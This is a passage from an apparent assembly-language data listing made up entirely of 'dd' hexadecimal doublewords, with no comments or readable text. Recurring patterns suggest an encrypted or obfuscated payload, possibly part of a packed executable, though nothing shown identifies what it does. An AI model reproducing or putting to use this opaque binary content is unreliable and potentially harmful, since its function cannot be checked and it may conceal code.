0FFCBFFFFh, 1F74F785h, 0A4088318h dd 0C8E4E7E6h, 97AF645h, 9FA20000h, 7E44A506h, 0DBE546A7h dd 0BA82E344h, 1E2182E3h, 6BFA2889h, 0A5069BA4h, 48A97C44h dd 0EA4BC0E7h, 8AEBBC89h, 5896C92Eh, 77F7B269h, 81A48BD0h dd 15308508h, 0C2701194h, 0CE5F66A3h, 27620D6Dh, 1E39AE3h dd 7A000006h, 0A1D40129h, 0F18E0C4Dh, 9624D382h, 6074B141h dd 8E18C12Dh, 326716F1h, 0C6BA1676h, 68D180CCh, 0AB39F535h dd 416DD2FBh, 0F87B1218h, 8827AA59h, 61F70D9h, 58D02485h dd 2D7AB134h, 87749721h, 24140D2Eh, 6F2D054Eh, 0CF102FE1h dd 50A7477Ah, 792870D6h, 72E887EBh, 12331A2Bh, 1D1C0DD0h dd 4E8D1B86h, 53h, 1377B1F9h, 187777AAh, 0A958F18Eh, 0B27CCD26h dd 2BB958DBh, 77F9CAE4h, 46D53D1h, 37BA693Ch, 0C144D9E2h dd 0DA618032h, 86C7E688h, 7AF0FE31h, 30DF11F5h, 9D313EA2h dd 1414BB4Ah, 0AB000000h, 653A0556h, 0F572D01Eh, 0C250FF11h dd 2C1AA6Dh, 0B1550000h, 0C12D6074h, 16F18E18h, 80BB8AE1h dd 2EDD4A13h, 0E95C92C5h, 0CC7BF18Eh, 4181B41Dh, 96FBAB94h dd 0CF50661h, 1BCAFEECh, 9D906198h, 0A456F7B2h, 0B6D05585h dd 48A81A4Dh, 40EF01CFh, 0F0A586D7h, 9FA00162h, 0E6D11D50h dd 5706F18Eh, 0EFD025A8h, 0E6A14D80h, 34FCF18Eh, 0EFD13661h dd 57DA8938h, 8CB33C02h, 90E56817h, 4E73F6ABh, 0A90A2426h dd 96388BC5h, 9F51F077h, 0A3784380h, 46D9E142h, 0D34A6EC3h dd 0CE2156Ah, 0CBF18ED8h, 7C0B8E1Ch, 24F9C213h, 0C27402A1h dd 734162A3h, 0FEEAB7D4h, 8FB318A6h, 275AAF18h, 0F18E9DC7h dd 6ACB5908h, 8E9DB527h, 42D7DCF1h, 72B7CE1h, 8E012B90h dd 79DE6C0Bh, 1358DBACh, 0C48D77B1h, 5C7F1EEDh, 519DD039h dd 86F18E3Ch, 4E9F28D7h, 0BB24B36Ah, 4ACD406Ah, 0F0B81DABh dd 0A05C941Dh, 0E62746F4h, 72F5AA95h, 8EE145D3h, 8D9AE34Ah dd 0B1E4733Ch, 0F18E303Dh, 0A634E392h, 43767h, 98ADFE00h dd 11C05759h, 9BA42E83h, 0AE478306h, 23607F21h, 0BD228318h dd 65CE436Ch, 8E18BC32h, 0DE6C1BF1h, 58E1B679h, 0E36C2307h dd 71F4A992h, 0FB7E131Ch, 70F716B8h, 153D5EC3h, 0E12FCD7Eh dd 2A49FB89h, 0BE4DC2EDh, 0F0354C59h, 90624279h, 0CB028534h dd 0F18E3826h, 0B2EF0EC0h, 54B91A93h, 6509C933h, 8816F282h dd 1E871C23h, 8A9C48FDh, 2CBA34F8h, 577F72A9h, 0FF68F18Eh dd 9D7869DEh, 0E2C3B8BFh, 5807A629h, 0BCF918CAh, 5CC122F7h dd 0ED70270Bh, 179C04Eh, 0A8F18E4Dh, 8E5D7975h, 0C2F55EF1h dd 0F18E5D2Ch, 9E4DFCABh, 0E380363Ah, 0FF06119Ah, 57A8FFFFh dd 545ABF54h, 0A4DE33C1h, 42A70881h, 81127921h, 22B3E8BFh dd 238816E2h, 0CF068902h, 0F18EB122h, 58DBAC79h, 8AAE3B03h dd 52E16413h, 0E0FA81A0h, 7DCE0F2Eh, 0EC51DFA8h, 0FF969AD9h dd 4174DD7Ch, 0F18EB1ADh, 63C47322h, 0E1643902h, 5C766788h dd 0EE9F82ACh, 6FA453CAh, 6D00FB2Ah, 569D2B83h, 17BD42Fh dd 0EC2847E9h, 6B56E083h, 0A0767798h, 498AE9ACh, 497E8A22h dd 0EA4F6311h, 2AC94CC1h, 755D9Ch, 0B1080000h, 5CB11A74h dd 8E18C529h, 0CD5B0AF1h, 4FEE0F64h, 7A34E34Eh, 17ABF280h dd 60FBAACBh, 0B36235FBh, 5B2CF94Ah, 28AB39D8h, 0B25AFCF1h dd 0E908AAF7h, 773C2ADh, 0D10459A1h, 0F7B2591Dh, 679A03B2h dd 0F7B25987h, 0CC0B9948h, 21h, 217FA077h, 0B0AD65A9h dd 0EFA686EBh, 0F83FCD6Ch, 0F18E3926h, 0FD4D2685h, 0AAD1FFFFh dd 7, 286AA55h, 0A4550000h, 4E9F0881h, 0A629B76Eh, 52B37451h dd 0FE6727FEh, 0BB5258A9h, 0C40B9938h, 0FBAF1E6Dh, 0CEC58BACh dd 0EF0E3119h, 4873661h, 0AD5025CDh, 0CAE98BF7h, 272E18Eh dd 3164A1h, 0A00F0000h, 0EC65A67Fh, 0F17FCB39h, 99028C99h dd 0AFD03B66h, 46D1CFBh, 0B11689B3h, 2851394h, 0AD9E27CBh dd 0C8E789F7h, 2ACE38Ch, 0BA62A1h, 0A40D0000h, 0D31B4E81h dd 4F18E18h, 0CE23A655h, 60B538EDh, 0EC41C445h, 96E750D9h dd 0A97E4592h, 4AD88726h, 1C81A6E9h, 0B304F18Eh, 258A188Fh dd 0D2268700h, 97CA3353h, 0FBADA94Ah, 3253BC6Bh, 5AB7E47Bh dd 0C5295C23h, 0AF7AF7Ah, 0B51EAC5Bh, 65C65B64h, 0EB663B04h dd 0E4E202A9h, 0E9E332B5h, 11000004h, 0B5167728h, 56B7188Fh dd 0FF60C154h, 0A607683Fh, 81AF1085h, 8B002BECh, 2EE1C92Ah dd 0D2476CCDh, 74351071h, 1F52B713h, 0F7B26DCFh, 0A4145900h dd 44A5069Bh, 33BBEE61h, 0A4F18E18h, 0BCDD46F5h, 5B88EE48h dd 79AC15B0h, 0F18ED975h, 0BC1DAB5Ah, 70250657h, 6BC04EEDh dd 9F0881A4h, 34B76E4Eh, 2F840795h, 44DBDF16h, 127322C1h dd 0BE2767BEh, 0AF0B7A8Bh, 0E3CC1DFBh, 0C675A02Eh, 0F4B7085Dh dd 0B6FD9C1Fh, 0F7AD2B38h, 9A133297h, 0A3DA5DEBh, 0F7AD2B51h dd 0C8FB6850h, 0F7AD2B26h, 0C84BFAA9h, 51D44B73h, 5CE302B0h dd 0AEDEFDABh, 5DAE1777h, 9B3ABD52h, 9471A40Dh, 7901CE1Eh dd 101569CAh, 68EC0D76h, 0DDFEC8A2h, 0E0633A02h, 9B049241h dd 0AB66C268h, 6DD685FBh, 127B121Ch, 0A72AFDC1h, 0D6197A08h dd 0F7B30616h, 90052677h, 1EF3B80Dh, 0BF4DFC9Bh, 57C0555Ah dd 0FFD3CB36h, 7806044Ah, 6CBC17h, 0C2670000h, 0F18E1830h dd 74DDB17Ah, 831823h, 0D72D361h, 8D1BF2BCh, 0D5D90628h dd 7120BF42h, 7E4495EEh, 5CFCD621h, 0D1805106h, 0DA21AF4Eh dd 0F18EF414h, 0D0D62790h, 0DEFDAF3Dh, 9F089FA1h, 0BB30774Eh dd 0B072EF1Bh, 0A0018F3Eh, 3AA3783Fh, 0A4146E19h, 0F58384B5h dd 87B63B72h, 7D2FF18Eh, 0CB1A215Eh, 8E875698h, 1BCA79F1h dd 9FA469BAh, 4D110584h, 23D25796h, 502599BAh, 0DB0CDD5Dh dd 50DEAF76h, 0DEB378CDh, 0ED0CBA5Bh, 0B5168BB0h, 6338FF50h dd 4E28ED5h, 46DF18Fh, 413EBDE3h, 8625A87Fh, 0EC748C51h dd 3876FA5Eh, 50D19AE4h, 7CFFFFFFh, 0B76C4FA0h, 46A8DB34h dd 89F18E18h, 389D2BDAh, 0E2339C6Dh, 34B745D8h, 0AD8FC6DFh dd 96EA4BFAh, 6396FF8Fh, 0FBAF1ECEh, 891C2287h, 35B86706h dd 0EBA08BDCh, 0F43BC968h, 0F7AD1DFEh, 1A4D9C9Fh, 0F7AD1ED4h dd 22A55403h, 0AD30E7CDh, 68A9C86Ah, 0AD1EB935h, 0C06F1EF7h dd 71ADCC6Eh, 0A10240FEh, 2847h, 0A38DDE00h, 0B1095EECh dd 0C95C6474h, 237EB11Ah, 0B4FBAF37h, 0A74B8205h, 9F7AD37h dd 630C4867h, 0E2A10246h, 0C4h, 881A48Dh, 0D60B2C85h, 19B40C16h dd 0BC7FE472h, 0BA0B64E7h, 759A1DF0h, 0A7E00F52h, 0B442F1A6h dd 32B5764Fh, 0DE3FC8DDh, 8EE98C9Bh, 793213F1h, 1DEEB718h dd 0B3D3529Ah, 0D546174Ah, 0B867FBAFh, 0AA220357h, 0ADF27777h dd 0FAA958F7h, 828D5E91h, 9F4E01CDh, 598CE136h, 0F1CC8295h dd 98FD8B3Ah, 0B1644C97h, 0EB3CA102h, 5DC250C7h, 7642BD52h dd 16E2FD0Ah, 22A4493h, 6F520000h, 0CEF455B6h, 0AB95F657h dd 0A3293F4h, 0EED13293h, 0DBAAD839h, 55B66B54h, 0F859CCF4h dd 9AFB9097h, 3A9B6C39h, 0A84679DEh, 27F7B270h, 9BA43B80h dd 15489D06h, 0F18E18D9h, 1B3817F4h, 6D98739Ch, 6ECF30BEh dd 2475D657h, 0BA6D4FA0h, 0B20A9837h, 59AA1373h, 0CB34C255h dd 0AF370998h, 96FFAEFBh, 54D5F041h, 0AD37E10Dh, 0B947F6F7h dd 37F3FF36h, 1BBDF7ADh, 45AFC0FCh, 0EE96A102h, 41000000h dd 850881A4h, 4AA4D72Ch, 8DF18E18h, 0AC4275DEh, 2BF18E18h dd 0A689EE7Ch, 0F4156EF1h, 0CAE90249h, 4A7DE679h, 0F18E18A4h dd 0AFF68433h, 0F18E1C78h, 2485061Fh, 5273E2C3h, 8B756D9h dd 0B96C4E9Fh, 0C560A82Bh, 302D60C9h, 85FBAF10h, 0CF4C6DD6h dd 0CEAD23C4h, 2478D967h, 0E91C8501h, 1CD5B5Dh, 0B90A7322h dd 0F9981BECh, 65F3AA94h, 5456A7FCh, 0EDCE33C1h, 0B87ECF38h dd 35C362E5h, 0E44E6FD4h, 0E3E748CEh, 0EDCE33C1h, 0F2CFBD38h dd 189BE2FDh, 113C9h, 9D763B00h, 42D5DB3Ch, 0E7BE80E1h dd 86192586h, 26FBC425h, 41F697C5h, 0E748A97Eh, 8AEB4CC3h dd 2E8FF0A5h, 0D9359617h, 71AD4174h, 7B22F7B2h, 684FA036h dd 0FFC025B3h, 5D68C92Ah, 0FAC51216h, 2F117625h, 0B60C978h dd 8E1816D8h, 0A878AFF1h, 4E1264AEh, 85E67423h, 4D7FA034h dd 0B30481F1h, 0C4E146D4h, 5A6BC043h, 0F87B101Bh, 53CAF459h dd 218231D0h, 66B59BBCh, 275889E9h, 0AAE44199h, 0ECB80E41h dd 6817FBAAh, 0F4B590E5h, 0EB03368Bh, 0ECF7B27Ah, 0ED4EAF3Dh dd 95CC4FD8h, 0D2E5ECAEh, 0A2D52A93h, 0E28084Ch, 9C4EDC8Bh dd 0A465407Dh, 13551A3Bh, 738C6295h, 9C4B0E27h, 0B9F8FF67h dd 9DD11D50h, 57060E27h, 0AE0368C9h, 3E84E48Dh, 438A3BC0h dd 0E27E2ABh, 8AEF7D2Ch, 9B723CBBh, 281469ECh, 3BA4F275h dd 0E23BB3E6h, 679C0E27h, 0E0E2654Ch, 7503B214h, 5E67A4C3h dd 3A0B6CCDh, 0D9FEE71h, 36000000h, 0B745DAE5h, 0A4F55E62h dd 277C0A9Fh, 81049DA4h, 0D90192Ch, 9B1EF3B8h, 28AB6246h dd 0B033E8D3h, 38BB505Bh, 0C144DBE3h, 48CB426Ch, 0D75ACDF3h dd 0E089508Eh, 405h, 4E88300h, 2474FF50h, 48F5804h, 0BC685C24h dd 89000041h, 2268243Ch, 89000026h, 0EC83240Ch, 24148904h dd 1F550968h, 0EAC15A73h, 81D2F704h, 0A9BF1CEAh, 5AD789F2h dd 4EC81h, 24890000h, 24048124h, 4, 89535659h, 5BDE89FBh dd 5E087189h, 592434FFh, 4C481h, 3C8B0000h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 0FBEEB0E9h, 2F3949FFh, 0D585E093h dd 245AA1B8h, 0FFC50306h dd 0EB644CE0h, 5F21BC61h, 79836E75h, 1D874433h, 3A37B203h dd 27F6F916h, 188D8D1Bh, 6A06245Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 836FC357h dd 29205BF9h, 1F021DBDh, 5D8D8906h, 66061F0Bh, 85C7D68Bh dd 61F20C5h, 5DDCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0C5C35545h, 807B6D69h, 7D85C746h, 61F13h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 7FA8C356h, 9D1D106Bh, 0FDB53119h dd 0FF061F1Fh, 1F0865B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 64023A46h dd 27D09B5Ah, 0B2DE8B66h, 5995FF4Dh, 29061F2Dh, 1F2B8595h dd 0FF006A06h, 1F1D4595h, 0EBC08B06h, 3E006C1Ch, 6978EFD2h dd 0E81FB27Ah, 0C55923E2h, 39FD1F6Dh, 0E9F7543Bh, 3883A079h dd 58D8D42h, 6A06245Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 14E2C356h, 9D89B6E5h dd 61F0F4Dh, 0B5D8D89h, 14E9061Fh, 0C000000h, 0D930FB37h dd 3F71E2F6h, 0A3EBEA85h, 0D94B22E6h, 0C719074Fh, 1F20C585h dd 65A406h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 0B60FAA4Eh, 0ECAA2D61h, 7D85C799h dd 61F13h, 89000000h, 1F16C1BDh, 15B5FF06h, 29061F1Dh dd 1F0E49B5h, 5995FF06h, 6A061F2Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F6C2C355h dd 0CCDD5F65h, 0EC2B2286h, 308DB503h, 6A061Fh, 1D4595FFh dd 0C08B061Fh, 29143BEBh, 0BAC7CDC6h, 8D62A347h, 4420C612h dd 43B89FCh, 0A3A83E16h, 8F22C2CDh, 0C3675FEFh, 0C5E68C8Eh dd 995F41E4h, 13D5A992h, 4E7E9C50h, 87E2644Ah, 910CC1A0h dd 658103B6h, 0AE8A0h, 32B30000h, 0F4E938B0h, 933B7E53h dd 0EE9h, 79473000h, 0F7E8FA66h, 0E2C83B9Dh, 5899EA43h dd 691EC081h, 0D22B0000h, 8A0Fh, 34FF0000h, 65B58B02h dd 5B061F23h, 0CD18D89h, 0F381061Fh, 230559ABh, 14C1BD0Bh dd 0C381061Fh, 71A5F7ADh, 0B5858960h, 0B9061F1Fh, 7D827D02h dd 8EC38161h, 0BF0173AEh, 64472573h, 98A0F53h, 0F000000h dd 387h, 0FE8B6600h, 8B10048Fh, 1F16A1BDh, 0EDD18106h dd 831B2B60h, 0BE903EAh, 34000000h, 208ECFCCh, 0B3AFE2BCh dd 0BF4A09ACh, 62BC7032h, 97A8FA81h, 850FFFFFh, 0FFFFFF82h dd 0F5958960h, 0E8061F0Dh, 10h, 91B6FFC6h, 437AD038h, 392AA182h dd 0E9228C8Ah, 615EF98Bh, 13759D8Dh, 39B8061Fh, 89000000h dd 1F1C0585h, 0E806h, 5580000h, 0Dh, 39E90389h, 0 dd 0Dh dup(77E600h), 0FF77E600h, 0B0E9h, 8C666000h, 4C2F6DAh dd 0C850Fh, 853B0000h, 61F20D9h, 36840Fh, 853B0000h, 61F2C51h dd 2A840Fh, 853B0000h, 61F1BE5h, 1E840Fh, 853B0000h, 61F0BBDh dd 12840Fh, 0BD830000h, 61F1D25h, 5840F01h, 0E9000000h dd 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h dd 61F4DB0h, 5B8h, 61E3FF00h, 8DD00BC3h, 245FC88Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 269AC935h, 8B60B83Eh, 899D03D8h, 61061F14h, 0B5D8D89h dd 0FE9061Fh, 0F0000000h, 8481C01Bh, 0CB17F026h, 75ADB00Dh dd 85C77A9Ah, 61F20C5h, 727Ch, 137D85C7h, 61Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 1D4AB1C3h, 0B252855Fh, 0B5FF5EDAh, 61F105Dh, 418770BEh dd 5995FF15h, 89061F2Dh, 1F1C458Dh, 0FF006A06h, 1F1D4595h dd 0EBC08B06h, 98767D1Bh, 4E452AA5h, 0CCC2327h, 0C4FC91B2h dd 7A5440CAh, 0AF13DAFFh, 0BBB19FBAh, 60EBh, 17h dup(0) dd 0E5E90000h, 0E900000Bh, 0BD9h, 24689668h, 1D24E906h dd 1568FFFBh, 0E906246Ah, 0FFFB1D1Ah, 246A8668h, 1D10E906h dd 0D9D3FFFBh, 0B8EDB128h, 9E0CD047h, 8128EC63h, 6343077Eh dd 21DB279Eh, 778A1Ch, 2198773Ch, 3FB64B5Dh, 5CD32C7Bh dd 966E1A93h, 2919AF41h, 0BA868F1h, 41AB832Fh, 8A3E19AFh dd 88AC54E6h, 0CC6E4525h, 0D3A14820h, 8327DB1Fh, 0AC07BBF1h dd 7F28EC63h, 0E871EE80h, 0D3A1643Ch, 1F43F71Fh, 36C8396Fh dd 5D093182h, 1FD3A185h, 47C06418h, 0BBDF2087h, 0C4317529h dd 0E5771BE6h, 138C7531h, 1AAC5553h, 0F9144C72h, 0A4659614h dd 6F3AEE80h, 604AFE90h, 4A5B0FA1h, 0ED4F6133h, 5D486790h dd 574EFEA2h, 0F57204A8h, 6BE8C06Ch, 0C77B1FD3h, 4A6E9317h dd 0CC7840F7h, 1FD36BF4h, 0B62FD387h, 0F78B0C0Ah, 82FBAF15h dd 0A31CE3C2h, 8B40CF6Dh, 0A3C70AC9h, 1D6CC52Ch, 901CF8A4h dd 0B77725F8h, 0B0E90DF2h, 64ED6AFCh, 0F88FE0B8h, 46BF7325h dd 0F88FC29Ah, 7DA15525h, 0AE25DACDh, 9D624537h, 0A2FC633Ah dd 46B9F091h, 89F329A2h, 0F405C5C3h, 0E91EF6A2h, 0FDB11FD2h dd 42C13359h, 8D4A8F8Dh, 77E0669h, 94B06A5Fh, 45C3F3h dd 0A2500000h, 0C4B9F091h, 0C9E5B015h, 0B547EB57h, 7C06690Dh dd 0D3A1F8D0h, 5ED78B1Fh, 60FDD828h, 529AC83h, 45097CA2h dd 763C9F60h, 946D39F9h, 0BC7C0D70h, 48113EEh, 0D3A18058h dd 0BB5F131Fh, 3C7C97h, 0A2050000h, 36447A91h, 4FAEA20h dd 22CA5CA3h, 7C77DA7Eh, 0D3A1F8D0h, 0A205BD1Fh, 7533F37Ch dd 2E52FA8Ch, 1D6045CBh, 0A49D501Dh, 0AB24C804h, 0C8B48A75h dd 0D181BF7Bh, 0A20529D6h, 0F37C0F76h, 0D3A16F47h, 2A4E021Fh dd 0B42D60D7h, 0F094F308h, 0EAC08015h, 41E17317h, 25F2D36Dh dd 48DA2781h, 0D3E01394h, 0C706983Ch, 2987A638h, 0B20734AAh dd 5B097472h, 1CBh, 0FA8FA2E8h, 1BE4C181h, 44BDE189h, 0D3A1B898h dd 2EA75B1Fh, 0A3C73A6Eh, 0B54A5D11h, 0D6297C3Ch, 45C43BB2h dd 0E992C862h, 0AE0F6566h, 333911ADh, 18CC1FD3h, 0E6631174h dd 89FB8426h, 616EE5E3h, 0DB58EA8Eh, 0D37D572Fh, 9236EA1Fh dd 91A20B6Eh, 0F17E99FCh, 0F7897631h, 0F50A9F4Fh, 3497BB63h dd 15ECBC7Ch, 21B7DB83h, 0F394B028h, 3A85h, 0BC7C1200h dd 0DB8315ECh, 0BACF64B7h, 68467C57h, 7B810CAEh, 3AE65F83h dd 1FD35E62h, 7CDE41F5h, 9F604509h, 7C0F763Ch, 8AF1EE46h dd 567AA07Ch, 343Bh, 0B9EEAE00h, 0A2BF2246h, 0C383FC91h dd 69980EE7h, 0F98B2FD7h, 7CCA2D51h, 0D3A1F8D0h, 1B8B4B1Fh dd 3BBC2E6h, 45097CA0h, 763C9F60h, 856E39F9h, 163ADE23h dd 0EE8FA2B3h, 2BA448B7h, 0D3A19B7Fh, 1992461Fh, 0A20CE490h dd 0EB9F1FD3h, 268135C7h, 45EB62D9h, 633A9D62h, 0D9B15DE6h dd 6C1FD3A1h, 0A23194B8h, 0FA83FC91h, 0D3A1764Eh, 3155091Fh dd 31F17ECEh, 0D0FA8C75h, 806E6AEAh, 7EA24693h, 0B06A5F1Bh dd 56C3F394h, 50000000h, 99FC91A2h, 0A1F8D07Ch, 0D78B1FD3h dd 5129D55Eh, 0E41FD3A1h, 7CA90C30h, 0D192BDF3h, 0FD0EFF50h dd 604576D9h, 0A1461ECAh, 25D91FD3h, 0F761E81h, 6F47F37Ch dd 21FD3A1h, 4F0F2A4Eh, 82000000h, 0A1754DF9h, 17911FD3h dd 7C28B1EAh, 1FD3A1A4h, 0BBDF8337h, 2791A258h, 0D3A1A37Bh dd 0DE82361Fh, 0F8D07C7Bh, 4B1FD3A1h, 51E31C8Bh, 54ADF9A9h dd 0E712930h, 0BFBDF37Ch, 0C4CA3B7Ah, 7CA3062Ah, 419AB546h dd 4A6E3B0Eh, 91F40B9Ah, 0BC7C0F76h, 0DD8517EAh, 0DC9EB9h dd 7C270000h, 0A16F47F3h, 4E021FD3h, 2F5AD72Ah, 0A12A0AB6h dd 19CD1FD3h, 5D4A0A87h, 446810A2h, 1B6A1394h, 27E15750h dd 65DC53F7h, 0E901467Ch, 46FBB6F5h, 0CA357222h, 68467C67h dd 0DC238232h, 0E37CA24Ah, 4BDD0125h, 47F37CE4h, 1FD3A16Fh dd 0D72A4E02h, 7CCE315Ch, 8618F7BCh, 0CC43BADEh, 94B06A5Fh dd 39C3F3h, 0A2500000h, 4BB6F091h, 5DA205B9h, 597F23CBh dd 349BD39Fh, 2D903481h, 0A1F8D07Ch, 0D78B1FD3h, 33F37C74h dd 86B8F80h, 14EBBC7Ch, 6B6DA82h, 76FD609Fh, 3CDA0Fh, 0A2630000h dd 0A37B2791h, 361FD3A1h, 7C7BDE82h, 0D3A1F8D0h, 8430BD1Fh dd 1FD3A1ACh, 84E78B3Fh, 0BE6AF37Ch, 1FD3A1E6h, 3EA1C579h dd 14EBBC7Ch, 2B882FEEh, 5D819D43h, 0A407F8ADh, 62450F76h dd 51570B9Dh, 327539B0h, 0A1744CF8h, 53071FD3h, 59FD02A3h dd 0A15527C7h, 0C8B1FD3h, 0A7584FD2h, 0EF3B6E2Eh, 0D3A16B43h dd 0A64AFE1Fh, 0D1486C14h, 0D3659A0Dh, 2816CC5h, 9D6245DCh dd 0CED99926h, 0DB248131h, 2A7DA149h, 630F880Dh, 15F0954Eh dd 0F59527DBh, 25F2D521h, 0FA8C7535h, 1DC96146h, 25F2D445h dd 0EE8024D8h, 3EEFEF6Ah, 0BE7D61E0h, 97471FBh, 3312h dd 62459F00h, 8EE249Dh, 34C34C73h, 6B0B9DC1h, 1FD2A993h dd 5B1E54D1h, 5C00DF1Bh, 0D50984A8h, 23CF5B4Ch, 1FD3804Bh dd 0F862ADEh, 18E7C282h, 57BADE86h, 249D6245h, 0A217EF9Bh dd 0F6AA1FD3h, 4EE940D2h, 8416C23Bh, 0F15F7C1h, 0BA7DE45Bh dd 0C218B055h, 4E745206h, 0D46F50h, 75EE921Dh, 1575B4C9h dd 0FB8D411Ch, 17B4875Bh, 706EED2Ch, 2F518ECBh, 0CE093F03h dd 2164AC44h, 21A94266h, 36000000h, 81FA8FA2h, 926D38F8h dd 0A25D4C00h, 963EDAFEh, 91FD3A1h, 8E1CDC55h, 12CDFC73h dd 56000000h, 81FA8FA2h, 0D3A1F1D5h, 6FE89C1Fh, 8F06FBAFh dd 0EBBC7C18h, 0DCCE8214h, 425D8125h, 1AEh, 0A8802CB5h dd 3B1FD3A1h, 0A2006387h, 4CB5F394h, 0FAA62FA8h, 1FD3A222h dd 0E2887FB5h, 87BC2EEh, 0DF4B464h, 0BC7C86E9h, 5FF115ECh dd 9D6245F8h, 7C077E3Ah, 8315ECBCh, 0DEB662DBh, 711FD3A1h dd 0C60399BDh, 87F394B0h, 0A27A52FEh, 590D22D3h, 3F9C35h dd 7C290000h, 0DCF21846h, 0E328BB0h, 0F5947BBBh, 1A9885EBh dd 93FB85Ch, 0F3A046DAh, 72D5F941h, 0A1F8D07Ch, 0D78B1FD3h dd 5129D55Eh, 0E41FD3A1h, 7CA90C30h, 9C654509h, 0DA0F7639h dd 3Ah, 7D94A263h, 891DB7CBh, 183EE678h, 0FEA2AF98h, 33F37C9Bh dd 46FA8C75h, 630B9D64h, 27FF9BBFh, 0EC1FD3A2h, 97CD134h dd 18906545h, 76E245E9h, 6F05C3F9h, 835F79F1h, 467CFC5Fh dd 0D4D4099Ah, 0CDF39B2Dh, 4468F964h, 0C7E01394h, 5AFEA638h dd 0A2FC63F7h, 0C383FC91h, 406919E6h, 61852DBFh, 0F7BC7CFEh dd 67DF418h, 94B06A5Fh, 5BC3F3h, 43A0000h, 840DF06Dh, 1648885h dd 0BE6AF37Ch, 1FD3A1E6h, 5129C579h, 0E41FD3A1h, 0D9288030h dd 0BCD162B5h, 6AF37C59h, 0D3A1E6BEh, 0A1C5791Fh, 0D3A22D05h dd 0E5C0801Fh, 9BDF61Ah, 2A467CA6h, 0FDB7CEC4h, 0F981135h dd 6EF2ECD9h, 8DB1922Bh, 9F60452Ah, 0DA0F763Ch, 1Dh, 0FC91A263h dd 0F8D07C99h, 0BD1FD3A1h, 0E7CC8C05h, 0CAEE9628h, 45097C67h dd 763C9F60h, 1C63450Fh, 0C33746BBh, 0E3751983h, 0FE01A666h dd 4A0C46Ch, 1FD3572Fh, 0A59FD552h, 5A8B41E9h, 8C52CDF1h dd 77EE1395h, 9AB6B4EAh, 9AE35C42h, 63451376h, 50580C9Eh dd 209B1FB1h, 0BC4563BEh, 0AC339545h, 0DD731FD3h, 0F6B4E9Dh dd 0FFFE3E32h, 7420A9FFh, 1FD3B39Ch, 0F4577B2Fh, 0D3A18559h dd 7D9AD01Fh, 91C1F9A6h, 75BF71Bh, 521FD38Ah, 58D0D81Ch dd 86AA4210h, 0D36017EAh, 4A4641Fh, 693DD9FDh, 911FD35Fh dd 1FD35FBDh, 0D36011E5h dd 0E0B5825Fh, 800B3167h, 5F9FDBCFh, 9355ACD1h, 597D218Eh dd 1C9757E0h, 95B961F3h, 0F4ED7BF9h, 0D86A1ED5h, 5AD3B681h dd 33B38724h, 8C48238Ah, 7BC8EE0Fh, 0D4D1812Fh, 0E28E072Bh dd 0DC12243Dh, 2CCF36EAh, 193A67C9h, 2F56483h, 0FDAF0000h dd 0DCC98D04h, 0C2E8AC23h, 0A504C83Fh, 871FE35Ah, 0FDB7037Ah dd 0DC53AEF8h, 0FD749B18h, 1B926F39h, 38AF5057h, 724AF66Fh dd 519AF39h, 0BC7C5ACDh, 0CC8012EDh, 0E89022DDh, 37702044h dd 0F9B936C8h, 19C153ACh, 0F495A2F5h, 2EA74BB6h, 50E108F8h dd 0C2E67DE4h, 850F9D49h, 0C95215F7h, 0F7C4451Dh, 24D825h dd 0F9C13C7h, 3B765086h, 0BB823DF2h, 0F85E471Fh, 226DA25h dd 0F85E9266h, 61340325h, 0B9F5FE8h, 98BC64F6h, 1C7F02FCh dd 70E99D1Ch, 3A8EBE3Ah, 1DFB6B7Fh, 20B5DB8Fh, 9710349Ch dd 0B82FD0D7h, 0DFCAB3F4h, 0F9C05B27h, 0F8D4F25Eh, 33C4A5D2h dd 4A80FD8Fh, 0DF5A49DEh, 1DB9DDF0h, 2C1CDF41h, 921475C2h dd 9135DD6Fh, 0FFD66C18h, 0A0292240h, 41401CF4h, 0D7FBAF32h dd 0B171EA9Eh, 59209F6h, 6C59EECFh, 2E52ED90h, 5DD6297Eh dd 0D1F50A9Dh, 3A4FE83Fh, 0DD0B8BC1h, 34A6C487h, 59EB9710h dd 0E428652Ah, 6E2EB730h, 532BC73Ah, 0E638656Ah, 0EA7C8326h dd 0E87A9E42h, 0CFD7A691h, 0EF818026h, 86FFA347h, 936C3DFDh dd 8AD5D36Fh, 0C4782E89h, 0E31C8B4Bh, 0FFA86Ch, 0BC68F16Eh dd 3E89CAE4h, 39FC377h, 3E89E52Fh, 79F297A0h, 0AE053FCDh dd 0E7C28234h, 0BADE8618h, 9454CD81h, 0B35BED14h, 91A6FD8Fh dd 82D783FCh, 0F3ACB4Fh, 0A719F45Bh, 9E34DCDEh, 1767Fh dd 857C3000h, 0A45B4A0Eh, 0C041692Dh, 0DB248549h, 0FB06A064h dd 777E3884h, 975BD22Fh, 0B87CF31Ch, 0D69A11F0h, 0EEB72ED1h dd 37F1C975h, 4C8419AFh, 95A2D9h, 15DEC787h, 32DA6C95h dd 9169158Eh, 241FD3A1h, 27D34C70h, 15F7C199h, 7FD6681Ch dd 0B05CD5B8h, 1C151367h, 97EFA6DCh, 0BF6BC18Bh, 0D567980Fh dd 0DD22892Dh, 58FA64C7h, 105A3C2h, 0EDBF0000h, 0CCD99D14h dd 0B2F8BC33h, 9514D84Fh, 772FF36Ah, 0DC7138Ah, 0EC639E08h dd 0D848B28h, 2BA25F49h, 48BF4067h, 825A067Fh, 1519AF37h dd 95A26ADDh, 6742B1F4h, 